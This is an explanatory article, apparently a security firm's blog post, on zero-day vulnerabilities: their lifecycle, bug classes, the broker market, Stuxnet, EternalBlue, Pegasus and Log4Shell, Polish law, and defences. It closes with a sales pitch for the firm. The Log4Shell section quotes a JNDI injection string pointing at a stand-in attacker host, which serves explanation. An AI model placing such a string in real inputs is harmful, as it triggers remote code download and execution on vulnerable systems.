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0-Day Vulnerabilities: The Invisible Weapon. Anatomy, Market, and Defense Against the Unknown
Published: 00:00 11/18/2025
Analizy
Introduction: Asymmetry in the Digital World
The contemporary world of cybersecurity is a constant game of cat and mouse, but the rules of this game are fundamentally unfair. It is defined by a deep informational asymmetry. On one side stand the defenders—administrators, Blue Teams, software producers—who must secure thousands of potential entry points into a system. On the other side are the aggressors, who only need to find a single, solitary flaw. At the very center of this unequal balance of power lies a concept that has long caused dread in executive suites and intelligence agency corridors: the Zero-Day (0-day) vulnerability.
What exactly is this phenomenon? In common understanding, it is "a flaw for which there is no patch." However, this definition trivializes the problem. A zero-day is not just a code defect. It is a strategic asset. In an era of information warfare and industrial espionage, an unknown vulnerability is a weapon with kinetic potential, capable of destroying physical infrastructure, paralyzing hospitals, or surveilling political opposition. The terminology stems from simple, brutal math: "zero days" is the time software developers have had to prepare a defense against the attack. The moment the first hacker exploits such a flaw, the victims are completely defenseless. Traditional antivirus systems, relying on signatures of known threats, are silent because they do not know what to look for. This opens the so-called "Window of Vulnerability," a period during which aggressors can operate within the victims' systems like ghosts—invisible and unpunished.
In this report, we will dissect this ecosystem. We will not limit ourselves to generalities. We will look deep under the technical hood of exploits, trace the lifecycle of a vulnerability, examine the economics of the black market where prices reach millions of dollars, and review the most famous attacks in history. We will also consider how Poland fits into this global puzzle—with its specific legal regulations and local incidents.
Part I: Ontology and the Vulnerability Lifecycle
Understanding a threat requires deconstructing its existence. A zero-day flaw does not appear out of nowhere magically. It is the result of a process, a dynamic set of events in which time is the key variable. This cycle can be divided into five key phases.
1. Flaw Creation
Everything begins long before the attack, in the quiet of developer offices. Errors arise unintentionally during the Software Development Lifecycle (SDLC). Programmers are only human. Time pressure, complex library dependencies, business logic errors, or improper component integration—all lead to the creation of vulnerabilities. The statistics are relentless here: every system of sufficient complexity contains errors. It is not a matter of "if," but "where." In this phase, the vulnerability is latent; it exists in the code, but no one knows about it.
2. Discovery
This is the turning point. Who will find the flaw first? It is a race. If the vulnerability is discovered by security researchers (the so-called White Hats) or internal auditing teams, the process follows a remediation path. However, if the discoverer is a cybercriminal, an APT group (Advanced Persistent Threat), or an intelligence agency, the flaw becomes an "unknown unknown" to the rest of the world. At this moment, asymmetry is born. The possessor of the knowledge gains a massive strategic advantage.
3. Weaponization and Exploitation
Merely finding a code error (e.g., the fact that a program improperly handles long strings) is not enough to carry out an attack. Weaponization of the flaw is needed. The aggressor must create an exploit—specialized code that reliably and stably utilizes the discovered weakness to cause a specific, unintended system behavior. This can be Remote Code Execution (RCE), privilege escalation, or authentication bypass. Creating stable exploits for modern systems (like Windows 11 or iOS) is an engineering masterpiece, often requiring months of work.
4. The Zero-Day Phase
This is the "golden time" for the attacker. It is the period between the aggressor's discovery of the flaw and the vendor's release of a patch. During this time, attacks are most effective, most destructive, and... most expensive. The victim has no dedicated protection. The only recourse is system mitigations or advanced behavioral analysis, which we will discuss later.
5. Death of the Vulnerability (Patching) and Life After Death
The release of a security patch theoretically ends the life of the flaw as a zero-day. It transforms into a so-called n-day vulnerability. However, history shows that this is by no means the end of the threat. Due to patching delays (especially in industrial OT systems or older servers), these flaws are exploited for many years after disclosure. There are known cases where decades-old errors are still used for intrusions because administrators neglected basic digital hygiene.
Part II: Technical Anatomy – How to Break a System?
To fully grasp the threat, we must descend to the level of bits and bytes. What classes of errors are most often utilized to create cyberweapons? An analysis of CVE databases and historical incidents allows us to identify several key categories.
Memory Corruption
This is historically the most numerous and devastating group of errors, affecting software written in low-level languages like C and C++, where memory management rests with the programmer.
- Buffer Overflow: This is a classic of the genre. It occurs when a program writes data beyond the boundaries of the allocated memory area (the buffer). Imagine pouring water into a glass without turning off the tap. The water spills onto the table. In a computer, this "spilled" data overwrites adjacent memory areas. If the attacker does this precisely, they can overwrite the instruction pointer and direct the processor to execute their own malicious code (shellcode).
- Use-After-Free (UAF): A more sophisticated error. It involves the program referencing a memory area that has already been deallocated ("freed"). If the attacker manages to allocate their own data in that location in the meantime, and the program attempts to use the "old" pointer (dangling pointer), the aggressor's code will be executed. UAF is a plague in web browsers.
- Significance: These errors are fundamental to Remote Code Execution (RCE) attacks, allowing full system compromise without physical access.
Remote Code Execution (RCE) and Deserialization
RCE is the "holy grail" for hackers. It allows for full control takeover of a victim's server or computer without physical access to the machine. A frequent vector here are deserialization errors. Modern applications (Java, .NET, Python) transfer complex data objects between them. The process of converting this data back into objects in memory is deserialization. If an application "recreates" a malicious object sent by the hacker without verification, it can automatically execute code at the moment of creation. A famous example of such a flaw was the bug in Atlassian Confluence.
SQL Injection (SQLi) – The Old Foe
Despite decades of education, SQL injection is still alive and well. It involves manipulating a database query. In the zero-day context, these flaws often appear in complex Content Management Systems or file transfer platforms. An example is the MOVEit Transfer case, where the CLOP group used a zero-day SQLi to massively steal data from US government agencies, proving that "old" techniques are still lethally effective.
Exploit Chains
Modern operating systems are robust. They have security measures like sandboxing. Therefore, a single vulnerability is rarely enough for a complete device takeover. Hackers must combine them into chains (kill chains). A typical attack scenario on a phone looks like this:
- Initial Access: A flaw in the font renderer or image handling (e.g., in a messenger app) provides a foothold.
- Sandbox Escape: A flaw in the system kernel (kernel exploit) allows for escape from the isolated application environment.
- Privilege Escalation: Raising privileges to root/system level.
- Persistence: A mechanism allowing the malware to survive a device reboot.
Part III: The Global Market for the Trade of Death
Information about a zero-day flaw is a commodity. And like any commodity, it has a price. This trade has evolved from a niche exchange on hobbyist forums into a powerful, global market worth billions of dollars. We can divide it into three segments, differing in clientele, prices, and ethics.
Market Segmentation
| Feature | White Market | Grey Market | Black Market |
|---|---|---|---|
| Participants | Vendors (Google, Microsoft), Bug Bounty Platforms (HackerOne, Bugcrowd) | Brokers (Zerodium, Crowdfense), Government Agencies, Intelligence Services, Surveillance Companies | Ransomware Groups, Cybercriminals, Dark Web Forums |
| Goal | Defensive: Patching flaws, improving security | Offensive/Intelligence: Espionage, surveillance, cyberwarfare | Criminal: Financial theft, extortion, botnets |
| Transparency | High (public acknowledgments, CVE) | Low (NDAs, state secrets) | None (anonymity, Tor, cryptocurrencies) |
| Prices | Low/Medium (thousands to hundreds of thousands USD) | High/Very High (millions USD) | Variable, monetization-dependent (Exploit-as-a-Service) |
Economics and Exploit Valuation
The value of a zero-day flaw is a function of its rarity, reliability, and the level of access it offers. At the top of the price hierarchy are zero-click exploits for mobile devices, which require no interaction from the victim.
Zerodium, one of the most well-known brokers in the grey market, publishes purchase price lists that serve as trend barometers. A full zero-click exploit chain for iOS (iPhone) can reach $2,500,000 USD, while similar exploits for Android are also valued in the millions. Exploits for messengers (WhatsApp, Signal) or browsers are priced around $500,000 USD.
This price disparity ($50k in Bug Bounty vs. $2M at a broker) creates a powerful ethical dilemma for discoverers and encourages "stockpiling vulnerabilities"—hoarding flaws instead of patching them.
The Role of Brokers and Controversies
Companies like Zerodium or Crowdfense act as intermediaries, purchasing flaws from researchers and reselling them to government agencies and law enforcement. Critics point out that this model weakens global security because flaws remain unpatched in software used by millions of people, including critical infrastructure. There is a risk that flaws purchased by governments will leak and be taken over by criminal groups, as happened with NSA tools.
Part IV: Case Studies – When Code Becomes a Weapon
The history of cybersecurity has been written by several groundbreaking zero-day attacks. They have defined the modern battlefield.
Stuxnet: Operation "Olympic Games"
Discovered in 2010, the Stuxnet worm is a milestone. It was the first precise industrial cyberweapon, created (according to common knowledge) by US and Israeli intelligence agencies. The target: the Iranian nuclear program. Stuxnet was unprecedented in the number of zero-day vulnerabilities it utilized. It employed a total of four previously unknown flaws in the Windows system:
- CVE-2010-2568: A flaw in handling .lnk shortcuts, allowing code execution upon connecting an infected USB drive (distribution method in air-gapped networks).
- CVE-2010-2729: A flaw in the Print Spooler service, enabling propagation within local networks.
- Two additional flaws related to privilege escalation in the system kernel.
The worm also used stolen digital certificates and precisely identified Siemens PLC controllers managing uranium enrichment centrifuges. It modified their rotational speed, leading to physical destruction of the machines, while simultaneously sending falsified data to monitoring systems showing normal operation. It is estimated that about 1,000 centrifuges were destroyed, significantly delaying the Iranian nuclear program. This demonstrated that code can destroy physical matter.
EternalBlue and WannaCry: Pandora's Box
EternalBlue is the name of an exploit created by the NSA, utilizing a flaw in the SMBv1 (Server Message Block) protocol in Windows systems. The exploit utilized a buffer overflow error in handling specially crafted SMB packets (CVE-2017-0144). This allowed for remote code execution at the kernel level (System Privileges) on any unpatched computer with port 445 exposed.
In 2017, the Shadow Brokers group stole and published NSA tools, including EternalBlue. The consequences were catastrophic. North Korea used this vulnerability to create the WannaCry ransomware. In May 2017, within a few days, the virus infected over 200,000 systems in 150 countries. It paralyzed the British National Health Service (NHS), automotive factories, and logistics systems. This incident revealed the risk associated with governments stockpiling flaws—a weapon created for espionage became a weapon of mass destruction in the hands of criminals.
Pegasus and FORCEDENTRY: The Engineering of Invisibility
The Israeli Pegasus, spyware from NSO Group, represents the pinnacle of offensive engineering, offering the ability to surveil mobile devices without the user's knowledge. In 2021, researchers from Citizen Lab discovered the FORCEDENTRY exploit (CVE-2021-30860), targeting the iMessage service on iPhones.
The attack involved sending a message containing a specially crafted PDF file disguised as a GIF. The flaw was in the CoreGraphics library responsible for parsing the JBIG2 compression format. The exploit was able to create a virtual machine based on logic gates (AND, OR, XOR, NAND) inside the image parsing process, allowing for the execution of arbitrary code and bypassing Apple's advanced security features such as Pointer Authentication Codes (PAC).
The zero-click attack, requiring no link clicking, changed the perception of mobile security. Apple was forced to introduce "Lockdown Mode"—a mode that radically limits phone functionality to protect against such attacks. The technical virtuosity of this exploit still evokes awe and terror among analysts.
Log4Shell: The Fragility of Foundations
In December 2021, a flaw was discovered in the Log4j logging library (CVE-2021-44228), widely used in the Java ecosystem—from Minecraft servers to banking systems and VMware.
The flaw stemmed from Log4j's functionality that interpreted strings in logs. If an application logged a user-provided string (e.g., in the User-Agent header) containing ${jndi:ldap://attacker.com/exploit}, the library would connect to the indicated LDAP server, download a malicious Java class, and execute it (JNDI Injection).
Since Log4j is a component embedded in thousands of enterprise applications, this flaw had an almost infinite attack surface—half the internet was vulnerable. This showed how an error in a free open-source library can threaten the global digital economy.
Part V: The Polish Perspective
How does the situation look in Poland against this backdrop? Poland is not just a passive observer. We have our successes, but also serious legal challenges.
Legal Aspects: The Thin Red Line (Art. 267 CC)
In Poland, security research involves legal risk. The key provision is Article 267 of the Penal Code, which criminalizes the unlawful acquisition of information.
According to the law, anyone who gains access to information not intended for them without authorization (e.g., by breaking through security) is subject to imprisonment for up to 2 years. This also applies to so-called ethical hacking if the researcher acts without the explicit consent of the system owner.
In the Polish legal system, there is no default "Safe Harbor" clause for researchers. This means that discovering a zero-day flaw in a Polish service and attempting to verify it without consent can result in criminal charges. Therefore, it is crucial to operate within official Bug Bounty programs or Responsible Disclosure policies.
The Role of CERT Polska and CVD
The central point of coordination in Poland is CERT Polska (operating within NASK), which serves as the national-level CSIRT.
- CNA Status: CERT Polska holds CVE Numbering Authority status, meaning it can assign official CVE identifiers for vulnerabilities discovered in Polish software.
- Coordinated Vulnerability Disclosure (CVD): The team conducts a coordinated vulnerability disclosure policy. A researcher who finds a flaw (e.g., in Polish banking or government software) can safely report it to CERT Polska through the form at incydent.cert.pl or by email (cvd@cert.pl). CERT Polska then acts as an intermediary, verifying the report and contacting the vendor, ensuring the reporter's anonymity.
- Statistics: In 2024, CERT Polska handled a record number of over 600,000 reports, demonstrating the scale of threats in the Polish internet.
Local Incidents
Poland is not free from zero-day threats, both as a target and as a place for discovering flaws.
- Comarch ERP XL (CVE-2023-4537): In 2024, CERT Polska coordinated the disclosure of a critical vulnerability in the popular enterprise management system Comarch ERP XL. The flaw allowed forcing a downgrade of the MS SQL protocol to an unencrypted version, enabling the interception of sensitive corporate data. This is a textbook example of a flaw in business software that posed a real threat to Polish enterprises.
- Pegasus in Poland: The use of Pegasus software against Polish targets (politicians, prosecutors) was the subject of investigative commission work. It was confirmed that advanced zero-day techniques (including zero-click exploits) were used for surveillance, fitting into the global trend of using cyberweapons for internal purposes.
Education and Community
The year 2025 brought a series of events enabling the exchange of knowledge about the latest threats and defense techniques:
- InfraSEC Forum (February 2025, Warsaw): A conference focusing on industrial systems (OT) security, crucial in the context of attacks like Stuxnet.
- CYBERSEC EXPO & FORUM (June 2025, Krakow): One of the largest conferences in Europe, combining technical aspects with political and strategic ones.
- Local initiatives: Conferences such as Oh My Hack or Security BSides (Krakow/Warsaw) are places where the Polish "white hats" community shares technical knowledge about the latest vulnerabilities.
Part VI: Defense Strategies and the Future
Are we defenseless? Not entirely. Although you cannot patch a flaw you do not know about, you can make its exploitation difficult.
System and Architectural Mitigations
Modern operating systems have built-in mechanisms designed to make exploitation of flaws difficult, even if they exist. They do not remove the error but make its exploitation much more difficult and expensive for the attacker.
| Mitigation Technique | Description | Effectiveness against 0-day |
|---|---|---|
| ASLR (Address Space Layout Randomization) | Random placement of key memory areas (stack, heap, DLL libraries) with each program run. | Makes it difficult for the attacker to predict memory addresses where the exploit code (shellcode) should jump. Requires the aggressor to find an additional "Information Disclosure" type flaw. |
| DEP (Data Execution Prevention) / NX Bit | Marking certain memory areas (e.g., stack) as non-executable. | Prevents execution of code injected by the attacker into data areas. The processor will refuse to execute instructions from these areas. |
| CFG (Control Flow Guard) | Real-time verification of indirect function calls. | Makes it difficult to hijack control flow, e.g., by overwriting function pointers. Blocks techniques like ROP (Return-Oriented Programming). |
| Stack Canaries | Placing random values (canaries) on the stack before the return address. | Detects buffer overflow attempts on the stack. If the canary value is changed, the program is immediately terminated. |
Behavioral Detection and Threat Hunting
Since you cannot detect a file by its signature (hash), you must look for anomalies in system and user behavior.
- Endpoint Detection and Response (EDR): Advanced EDR agents monitor parent-child relationships between processes. For example, if the
winword.exeprocess (Microsoft Word) attempts to launchpowershell.exeor connect to an external IP address, it is a strong Indicator of Compromise (IoC), regardless of whether a known or unknown flaw was used. - Network Detection and Response (NDR): Network traffic analysis can detect anomalies such as unusual outgoing connections (C2 beaconing), large data transfers during nighttime hours, or communication with servers in high-risk countries. In the case of Log4Shell, NDR was key in detecting LDAP connection attempts to external servers.
- Threat Hunting: This is a proactive process of searching the network for traces of an intruder, instead of passively waiting for alerts. Hunters use hypotheses (e.g., "the attacker is using a new flaw in the mail server") and look for evidence in logs and telemetry.
Virtual Patching
In the critical period between flaw disclosure and deployment of an official patch, organizations use so-called virtual patching.
This is a mitigation technique involving modification of network security system rules (WAF, IPS) to block traffic exploiting the flaw before it reaches the vulnerable application. This process is faster than traditional patching, does not require server restarts, and minimizes downtime risk. Rules can be deployed in "Log Only" mode (detection only) to verify false alarms, then switched to "Block" mode.
In the case of SQL Injection vulnerabilities in MOVEit or Log4Shell, virtual patches at the WAF level were the first line of defense, blocking specific character strings characteristic of the attack.
The Role of Artificial Intelligence
Artificial Intelligence (AI) and Machine Learning (ML) are becoming key factors changing the dynamics of the fight against zero-day flaws, acting as a "double-edged sword."
Offensive AI:
- Automated Vulnerability Discovery: AI models can analyze source or binary code much faster than humans, identifying patterns suggesting errors. There are concerns that advanced language models (LLMs) will be able to generate working exploits based solely on a CVE flaw description.
- AI-Driven Phishing: AI enables the creation of hyper-realistic phishing messages, which are a key vector for delivering zero-day exploits to the victim's network.
Defensive AI:
- Behavioral Learning: ML algorithms learn the "pattern of normality" for each user and device on the network. This allows them to detect subtle deviations (anomalies) that may indicate a zero-day attack, even if it does not match any known signature.
- Response Automation (SOAR): These systems can automatically isolate infected machines within a fraction of a second after detecting an anomaly, minimizing the time the attacker has to act.
Vulnerability Research: Fuzzing and Variant Analysis
Discovering zero-day flaws is not exclusively the domain of criminals. Research teams (such as Google Project Zero) and independent researchers play a crucial role in the security ecosystem.
- Fuzzing: This is the basic method for finding errors. It involves automatically feeding the program random, invalid, or mutated input data (e.g., corrupted PDF files) to cause a crash. Analysis of the memory dump after a crash allows determining whether the error is exploitable. This process includes generating seed files, mutating them, monitoring program state, and minimizing test cases.
- Variant Analysis: When one flaw is found, researchers use tools like CodeQL (developed by GitHub) to search the code for similar error patterns. CodeQL treats code as data, allowing queries that find entire classes of vulnerabilities, not just individual cases. This is crucial for eliminating flaw variants that are often missed in manual patching.
Disclosure Ethics: The 90-Day Debate
The way information about found flaws is disclosed is controversial and creates tension between researchers and vendors.
- Responsible Disclosure: The traditional approach where the researcher reports the error to the vendor and waits to publish until a patch is released. This time may be indefinite.
- Google Project Zero Policy (90+30 days): This team introduced a rigorous standard: vendors have 90 days to fix the error. After this deadline, technical details are automatically published, regardless of whether a patch exists. If the flaw is actively exploited "in the wild," this deadline is shortened to 7 days. The goal is to put pressure on vendors to prioritize security.
- Dispute: Companies like Microsoft argue that rigid deadlines can expose users to danger if the patch is complicated and requires more time for testing. Disclosing a flaw without an available patch gives hackers a ready-made attack instruction. However, data shows that the Project Zero policy has significantly accelerated the average bug fixing time in the industry.
Conclusion: Zero Trust and Assumed Breach
The zero-day flaw phenomenon is an inherent feature of modern technology, resulting from the unavoidable complexity of IT systems. The evolution from simple memory errors to sophisticated "zero-click" chains and the militarization of these tools by state actors demonstrates that cyberspace has become a full-fledged theater of military operations.
For organizations and states, this means the need to change the defense paradigm. The "fortress" model is ineffective. It is necessary to adopt the Zero Trust and Assumed Breach approach—assuming that the system is or will soon be compromised. The key to survival is not perfect prevention (which is impossible in the face of 0-day), but maximum reduction of detection and response time, isolation of critical systems, and continuous investment in offensive testing of one's own security.
At the same time, global pressure on software vendors through Bug Bounty programs and transparent disclosure policies remains the most effective mechanism for systemically raising the security level of digital civilization.
Build your defense against zero-day attacks. SecurHUB offers comprehensive penetration testing of web applications, mobile apps, and network infrastructure to help detect vulnerabilities before hackers do. Our 24/7 SOC services with advanced behavioral detection and XDR platform provide protection even against unknown threats. We also offer source code audits in a DevSecOps model. Contact us.
Aleksander
About the Author
Aleksander Zębrowski
Chief Technology Officer at SecurHub.pl
PhD candidate in neuroscience. Psychologist and IT expert specializing in cybersecurity.
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